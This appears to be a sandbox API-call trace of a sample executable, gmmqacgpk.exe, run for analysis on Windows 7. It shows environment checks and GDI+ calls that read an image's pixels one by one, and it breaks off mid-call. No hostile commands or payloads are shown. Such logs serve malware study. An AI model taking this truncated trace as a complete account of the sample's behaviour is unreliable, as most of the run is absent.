# Flog Txt Version 1 # Analyzer Version: 3.0.2 # Analyzer Build Date: Jul 9 2019 16:03:52 # Log Creation Date: 22.07.2019 00:24:24.880 Process: id = "1" image_name = "gmmqacgpk.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gmmqacgpk.exe" page_root = "0x4cac9000" os_pid = "0xa60" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gmmqacgpk.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xa64 [0029.927] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0030.930] GetVersionExW (in: lpVersionInformation=0x35db88*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x35db88*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0030.930] GetLastError () returned 0x0 [0030.931] GetVersionExW (in: lpVersionInformation=0x35db88*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x35db88*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0030.931] GetLastError () returned 0x0 [0030.936] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x30ecc8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0030.936] GetLastError () returned 0x0 [0030.969] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gmmqacgpk.exe", nBufferLength=0x105, lpBuffer=0x30ed20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gmmqacgpk.exe", lpFilePart=0x0) returned 0x33 [0030.969] GetLastError () returned 0x2 [0030.973] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gmmqacgpk.exe", nBufferLength=0x105, lpBuffer=0x30ecbc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gmmqacgpk.exe", lpFilePart=0x0) returned 0x33 [0030.973] GetLastError () returned 0x2 [0030.976] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x30ec84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0030.976] GetLastError () returned 0x2 [0030.980] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x30ed20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0030.981] GetLastError () returned 0x2 [0030.981] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x30ecbc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0030.981] GetLastError () returned 0x2 [0031.650] GetCurrentProcessId () returned 0xa60 [0031.650] GetLastError () returned 0x8013141b [0031.801] FindAtomW (lpString="GDI+Atom_2656_1") returned 0x0 [0031.801] GetLastError () returned 0x2 [0031.802] AddAtomW (lpString="GDI+Atom_2656_1") returned 0xc000 [0031.803] GetLastError () returned 0x2 [0031.836] GdiplusStartup (in: token=0x1f3334, input=0x360380, output=0x30e038 | out: token=0x1f3334, output=0x30e038) returned 0x0 [0031.851] GetLastError () returned 0x0 [0031.864] GdipLoadImageFromStream (stream=0x5d0030, image=0x30e838) returned 0x0 [0032.066] GetLastError () returned 0x0 [0032.067] GdipImageForceValidation (image=0x1272230) returned 0x0 [0032.074] GetLastError () returned 0x0 [0032.075] GdipGetImageType (image=0x1272230, type=0x30e814) returned 0x0 [0032.075] GetLastError () returned 0x0 [0032.083] GdipGetImageRawFormat (image=0x1272230, format=0x30e79c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0032.083] GetLastError () returned 0x0 [0032.116] GdipGetImageWidth (image=0x1272230, width=0x30e814) returned 0x0 [0032.116] GetLastError () returned 0x0 [0032.116] GdipGetImageHeight (image=0x1272230, height=0x30e814) returned 0x0 [0032.116] GetLastError () returned 0x0 [0032.117] GdipGetImageHeight (image=0x1272230, height=0x30e814) returned 0x0 [0032.117] GetLastError () returned 0x0 [0032.117] GdipGetImageWidth (image=0x1272230, width=0x30e814) returned 0x0 [0032.117] GetLastError () returned 0x0 [0032.117] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.117] GetLastError () returned 0x0 [0032.117] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.117] GetLastError () returned 0x0 [0032.118] GdipBitmapGetPixel (bitmap=0x1272230, x=0, y=308, color=0x30e800) returned 0x0 [0032.118] GetLastError () returned 0x0 [0032.126] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.126] GetLastError () returned 0x0 [0032.126] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.126] GetLastError () returned 0x0 [0032.126] GdipBitmapGetPixel (bitmap=0x1272230, x=1, y=308, color=0x30e800) returned 0x0 [0032.126] GetLastError () returned 0x0 [0032.126] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.126] GetLastError () returned 0x0 [0032.126] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.126] GetLastError () returned 0x0 [0032.127] GdipBitmapGetPixel (bitmap=0x1272230, x=2, y=308, color=0x30e800) returned 0x0 [0032.127] GetLastError () returned 0x0 [0032.127] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.127] GetLastError () returned 0x0 [0032.127] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.127] GetLastError () returned 0x0 [0032.127] GdipBitmapGetPixel (bitmap=0x1272230, x=3, y=308, color=0x30e800) returned 0x0 [0032.127] GetLastError () returned 0x0 [0032.127] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.127] GetLastError () returned 0x0 [0032.127] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.127] GetLastError () returned 0x0 [0032.127] GdipBitmapGetPixel (bitmap=0x1272230, x=4, y=308, color=0x30e800) returned 0x0 [0032.127] GetLastError () returned 0x0 [0032.127] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.127] GetLastError () returned 0x0 [0032.127] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.127] GetLastError () returned 0x0 [0032.127] GdipBitmapGetPixel (bitmap=0x1272230, x=5, y=308, color=0x30e800) returned 0x0 [0032.127] GetLastError () returned 0x0 [0032.127] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.127] GetLastError () returned 0x0 [0032.127] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.127] GetLastError () returned 0x0 [0032.127] GdipBitmapGetPixel (bitmap=0x1272230, x=6, y=308, color=0x30e800) returned 0x0 [0032.127] GetLastError () returned 0x0 [0032.127] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.127] GetLastError () returned 0x0 [0032.127] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.127] GetLastError () returned 0x0 [0032.127] GdipBitmapGetPixel (bitmap=0x1272230, x=7, y=308, color=0x30e800) returned 0x0 [0032.127] GetLastError () returned 0x0 [0032.127] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.127] GetLastError () returned 0x0 [0032.127] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.127] GetLastError () returned 0x0 [0032.127] GdipBitmapGetPixel (bitmap=0x1272230, x=8, y=308, color=0x30e800) returned 0x0 [0032.127] GetLastError () returned 0x0 [0032.127] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.127] GetLastError () returned 0x0 [0032.127] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.127] GetLastError () returned 0x0 [0032.127] GdipBitmapGetPixel (bitmap=0x1272230, x=9, y=308, color=0x30e800) returned 0x0 [0032.127] GetLastError () returned 0x0 [0032.127] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.127] GetLastError () returned 0x0 [0032.128] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.128] GetLastError () returned 0x0 [0032.128] GdipBitmapGetPixel (bitmap=0x1272230, x=10, y=308, color=0x30e800) returned 0x0 [0032.128] GetLastError () returned 0x0 [0032.128] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.128] GetLastError () returned 0x0 [0032.128] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.128] GetLastError () returned 0x0 [0032.128] GdipBitmapGetPixel (bitmap=0x1272230, x=11, y=308, color=0x30e800) returned 0x0 [0032.128] GetLastError () returned 0x0 [0032.128] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.128] GetLastError () returned 0x0 [0032.128] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.128] GetLastError () returned 0x0 [0032.128] GdipBitmapGetPixel (bitmap=0x1272230, x=12, y=308, color=0x30e800) returned 0x0 [0032.128] GetLastError () returned 0x0 [0032.128] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.128] GetLastError () returned 0x0 [0032.128] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.128] GetLastError () returned 0x0 [0032.128] GdipBitmapGetPixel (bitmap=0x1272230, x=13, y=308, color=0x30e800) returned 0x0 [0032.128] GetLastError () returned 0x0 [0032.128] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.128] GetLastError () returned 0x0 [0032.128] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.128] GetLastError () returned 0x0 [0032.128] GdipBitmapGetPixel (bitmap=0x1272230, x=14, y=308, color=0x30e800) returned 0x0 [0032.128] GetLastError () returned 0x0 [0032.128] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.128] GetLastError () returned 0x0 [0032.128] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.128] GetLastError () returned 0x0 [0032.128] GdipBitmapGetPixel (bitmap=0x1272230, x=15, y=308, color=0x30e800) returned 0x0 [0032.128] GetLastError () returned 0x0 [0032.128] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.128] GetLastError () returned 0x0 [0032.128] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.128] GetLastError () returned 0x0 [0032.128] GdipBitmapGetPixel (bitmap=0x1272230, x=16, y=308, color=0x30e800) returned 0x0 [0032.128] GetLastError () returned 0x0 [0032.128] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.128] GetLastError () returned 0x0 [0032.128] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.128] GetLastError () returned 0x0 [0032.128] GdipBitmapGetPixel (bitmap=0x1272230, x=17, y=308, color=0x30e800) returned 0x0 [0032.128] GetLastError () returned 0x0 [0032.128] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.129] GetLastError () returned 0x0 [0032.129] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.129] GetLastError () returned 0x0 [0032.129] GdipBitmapGetPixel (bitmap=0x1272230, x=18, y=308, color=0x30e800) returned 0x0 [0032.129] GetLastError () returned 0x0 [0032.129] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.129] GetLastError () returned 0x0 [0032.129] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.129] GetLastError () returned 0x0 [0032.129] GdipBitmapGetPixel (bitmap=0x1272230, x=19, y=308, color=0x30e800) returned 0x0 [0032.129] GetLastError () returned 0x0 [0032.129] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.129] GetLastError () returned 0x0 [0032.129] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.129] GetLastError () returned 0x0 [0032.129] GdipBitmapGetPixel (bitmap=0x1272230, x=20, y=308, color=0x30e800) returned 0x0 [0032.129] GetLastError () returned 0x0 [0032.129] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.129] GetLastError () returned 0x0 [0032.129] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.129] GetLastError () returned 0x0 [0032.129] GdipBitmapGetPixel (bitmap=0x1272230, x=21, y=308, color=0x30e800) returned 0x0 [0032.129] GetLastError () returned 0x0 [0032.129] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.129] GetLastError () returned 0x0 [0032.129] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.129] GetLastError () returned 0x0 [0032.129] GdipBitmapGetPixel (bitmap=0x1272230, x=22, y=308, color=0x30e800) returned 0x0 [0032.129] GetLastError () returned 0x0 [0032.129] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.129] GetLastError () returned 0x0 [0032.129] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.129] GetLastError () returned 0x0 [0032.129] GdipBitmapGetPixel (bitmap=0x1272230, x=23, y=308, color=0x30e800) returned 0x0 [0032.129] GetLastError () returned 0x0 [0032.129] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.129] GetLastError () returned 0x0 [0032.129] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.129] GetLastError () returned 0x0 [0032.129] GdipBitmapGetPixel (bitmap=0x1272230, x=24, y=308, color=0x30e800) returned 0x0 [0032.129] GetLastError () returned 0x0 [0032.129] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.129] GetLastError () returned 0x0 [0032.129] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.129] GetLastError () returned 0x0 [0032.129] GdipBitmapGetPixel (bitmap=0x1272230, x=25, y=308, color=0x30e800) returned 0x0 [0032.130] GetLastError () returned 0x0 [0032.130] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.130] GetLastError () returned 0x0 [0032.130] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.130] GetLastError () returned 0x0 [0032.130] GdipBitmapGetPixel (bitmap=0x1272230, x=26, y=308, color=0x30e800) returned 0x0 [0032.130] GetLastError () returned 0x0 [0032.130] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.130] GetLastError () returned 0x0 [0032.130] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.130] GetLastError () returned 0x0 [0032.130] GdipBitmapGetPixel (bitmap=0x1272230, x=27, y=308, color=0x30e800) returned 0x0 [0032.130] GetLastError () returned 0x0 [0032.130] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.130] GetLastError () returned 0x0 [0032.130] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.130] GetLastError () returned 0x0 [0032.130] GdipBitmapGetPixel (bitmap=0x1272230, x=28, y=308, color=0x30e800) returned 0x0 [0032.130] GetLastError () returned 0x0 [0032.130] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.130] GetLastError () returned 0x0 [0032.130] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.130] GetLastError () returned 0x0 [0032.130] GdipBitmapGetPixel (bitmap=0x1272230, x=29, y=308, color=0x30e800) returned 0x0 [0032.130] GetLastError () returned 0x0 [0032.130] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.130] GetLastError () returned 0x0 [0032.130] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.130] GetLastError () returned 0x0 [0032.130] GdipBitmapGetPixel (bitmap=0x1272230, x=30, y=308, color=0x30e800) returned 0x0 [0032.130] GetLastError () returned 0x0 [0032.130] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.130] GetLastError () returned 0x0 [0032.130] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.130] GetLastError () returned 0x0 [0032.130] GdipBitmapGetPixel (bitmap=0x1272230, x=31, y=308, color=0x30e800) returned 0x0 [0032.130] GetLastError () returned 0x0 [0032.130] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.130] GetLastError () returned 0x0 [0032.130] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.130] GetLastError () returned 0x0 [0032.130] GdipBitmapGetPixel (bitmap=0x1272230, x=32, y=308, color=0x30e800) returned 0x0 [0032.130] GetLastError () returned 0x0 [0032.130] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.130] GetLastError () returned 0x0 [0032.131] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.131] GetLastError () returned 0x0 [0032.131] GdipBitmapGetPixel (bitmap=0x1272230, x=33, y=308, color=0x30e800) returned 0x0 [0032.131] GetLastError () returned 0x0 [0032.131] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.131] GetLastError () returned 0x0 [0032.131] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.131] GetLastError () returned 0x0 [0032.131] GdipBitmapGetPixel (bitmap=0x1272230, x=34, y=308, color=0x30e800) returned 0x0 [0032.131] GetLastError () returned 0x0 [0032.131] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.131] GetLastError () returned 0x0 [0032.131] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.131] GetLastError () returned 0x0 [0032.131] GdipBitmapGetPixel (bitmap=0x1272230, x=35, y=308, color=0x30e800) returned 0x0 [0032.131] GetLastError () returned 0x0 [0032.131] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.131] GetLastError () returned 0x0 [0032.131] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.131] GetLastError () returned 0x0 [0032.131] GdipBitmapGetPixel (bitmap=0x1272230, x=36, y=308, color=0x30e800) returned 0x0 [0032.131] GetLastError () returned 0x0 [0032.131] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.131] GetLastError () returned 0x0 [0032.131] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.131] GetLastError () returned 0x0 [0032.131] GdipBitmapGetPixel (bitmap=0x1272230, x=37, y=308, color=0x30e800) returned 0x0 [0032.131] GetLastError () returned 0x0 [0032.131] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.131] GetLastError () returned 0x0 [0032.131] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.131] GetLastError () returned 0x0 [0032.131] GdipBitmapGetPixel (bitmap=0x1272230, x=38, y=308, color=0x30e800) returned 0x0 [0032.131] GetLastError () returned 0x0 [0032.131] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.131] GetLastError () returned 0x0 [0032.131] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.131] GetLastError () returned 0x0 [0032.131] GdipBitmapGetPixel (bitmap=0x1272230, x=39, y=308, color=0x30e800) returned 0x0 [0032.131] GetLastError () returned 0x0 [0032.131] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.131] GetLastError () returned 0x0 [0032.131] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.131] GetLastError () returned 0x0 [0032.131] GdipBitmapGetPixel (bitmap=0x1272230, x=40, y=308, color=0x30e800) returned 0x0 [0032.131] GetLastError () returned 0x0 [0032.132] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.132] GetLastError () returned 0x0 [0032.132] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.132] GetLastError () returned 0x0 [0032.132] GdipBitmapGetPixel (bitmap=0x1272230, x=41, y=308, color=0x30e800) returned 0x0 [0032.132] GetLastError () returned 0x0 [0032.132] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.132] GetLastError () returned 0x0 [0032.132] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.132] GetLastError () returned 0x0 [0032.132] GdipBitmapGetPixel (bitmap=0x1272230, x=42, y=308, color=0x30e800) returned 0x0 [0032.132] GetLastError () returned 0x0 [0032.132] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.132] GetLastError () returned 0x0 [0032.132] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.132] GetLastError () returned 0x0 [0032.132] GdipBitmapGetPixel (bitmap=0x1272230, x=43, y=308, color=0x30e800) returned 0x0 [0032.132] GetLastError () returned 0x0 [0032.132] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.132] GetLastError () returned 0x0 [0032.132] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.132] GetLastError () returned 0x0 [0032.132] GdipBitmapGetPixel (bitmap=0x1272230, x=44, y=308, color=0x30e800) returned 0x0 [0032.132] GetLastError () returned 0x0 [0032.132] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.132] GetLastError () returned 0x0 [0032.132] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.132] GetLastError () returned 0x0 [0032.132] GdipBitmapGetPixel (bitmap=0x1272230, x=45, y=308, color=0x30e800) returned 0x0 [0032.132] GetLastError () returned 0x0 [0032.132] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.132] GetLastError () returned 0x0 [0032.132] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.132] GetLastError () returned 0x0 [0032.132] GdipBitmapGetPixel (bitmap=0x1272230, x=46, y=308, color=0x30e800) returned 0x0 [0032.132] GetLastError () returned 0x0 [0032.132] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.132] GetLastError () returned 0x0 [0032.132] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.132] GetLastError () returned 0x0 [0032.132] GdipBitmapGetPixel (bitmap=0x1272230, x=47, y=308, color=0x30e800) returned 0x0 [0032.132] GetLastError () returned 0x0 [0032.132] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.132] GetLastError () returned 0x0 [0032.132] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.132] GetLastError () returned 0x0 [0032.132] GdipBitmapGetPixel (bitmap=0x1272230, x=48, y=308, color=0x30e800) returned 0x0 [0032.133] GetLastError () returned 0x0 [0032.133] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.133] GetLastError () returned 0x0 [0032.133] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.133] GetLastError () returned 0x0 [0032.133] GdipBitmapGetPixel (bitmap=0x1272230, x=49, y=308, color=0x30e800) returned 0x0 [0032.133] GetLastError () returned 0x0 [0032.133] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.133] GetLastError () returned 0x0 [0032.133] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.133] GetLastError () returned 0x0 [0032.133] GdipBitmapGetPixel (bitmap=0x1272230, x=50, y=308, color=0x30e800) returned 0x0 [0032.133] GetLastError () returned 0x0 [0032.133] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.133] GetLastError () returned 0x0 [0032.133] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.133] GetLastError () returned 0x0 [0032.133] GdipBitmapGetPixel (bitmap=0x1272230, x=51, y=308, color=0x30e800) returned 0x0 [0032.133] GetLastError () returned 0x0 [0032.133] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.133] GetLastError () returned 0x0 [0032.133] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.133] GetLastError () returned 0x0 [0032.133] GdipBitmapGetPixel (bitmap=0x1272230, x=52, y=308, color=0x30e800) returned 0x0 [0032.133] GetLastError () returned 0x0 [0032.133] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.133] GetLastError () returned 0x0 [0032.133] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.133] GetLastError () returned 0x0 [0032.133] GdipBitmapGetPixel (bitmap=0x1272230, x=53, y=308, color=0x30e800) returned 0x0 [0032.133] GetLastError () returned 0x0 [0032.133] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.133] GetLastError () returned 0x0 [0032.133] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.133] GetLastError () returned 0x0 [0032.133] GdipBitmapGetPixel (bitmap=0x1272230, x=54, y=308, color=0x30e800) returned 0x0 [0032.134] GetLastError () returned 0x0 [0032.134] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.134] GetLastError () returned 0x0 [0032.134] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.134] GetLastError () returned 0x0 [0032.134] GdipBitmapGetPixel (bitmap=0x1272230, x=55, y=308, color=0x30e800) returned 0x0 [0032.134] GetLastError () returned 0x0 [0032.134] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.134] GetLastError () returned 0x0 [0032.134] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.134] GetLastError () returned 0x0 [0032.134] GdipBitmapGetPixel (bitmap=0x1272230, x=56, y=308, color=0x30e800) returned 0x0 [0032.134] GetLastError () returned 0x0 [0032.134] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.134] GetLastError () returned 0x0 [0032.134] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.134] GetLastError () returned 0x0 [0032.134] GdipBitmapGetPixel (bitmap=0x1272230, x=57, y=308, color=0x30e800) returned 0x0 [0032.134] GetLastError () returned 0x0 [0032.134] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.134] GetLastError () returned 0x0 [0032.134] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.134] GetLastError () returned 0x0 [0032.134] GdipBitmapGetPixel (bitmap=0x1272230, x=58, y=308, color=0x30e800) returned 0x0 [0032.134] GetLastError () returned 0x0 [0032.134] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.134] GetLastError () returned 0x0 [0032.134] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.134] GetLastError () returned 0x0 [0032.134] GdipBitmapGetPixel (bitmap=0x1272230, x=59, y=308, color=0x30e800) returned 0x0 [0032.134] GetLastError () returned 0x0 [0032.134] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.134] GetLastError () returned 0x0 [0032.134] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.134] GetLastError () returned 0x0 [0032.134] GdipBitmapGetPixel (bitmap=0x1272230, x=60, y=308, color=0x30e800) returned 0x0 [0032.134] GetLastError () returned 0x0 [0032.134] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.134] GetLastError () returned 0x0 [0032.134] GdipGetImageHeight (image=0x1272230, 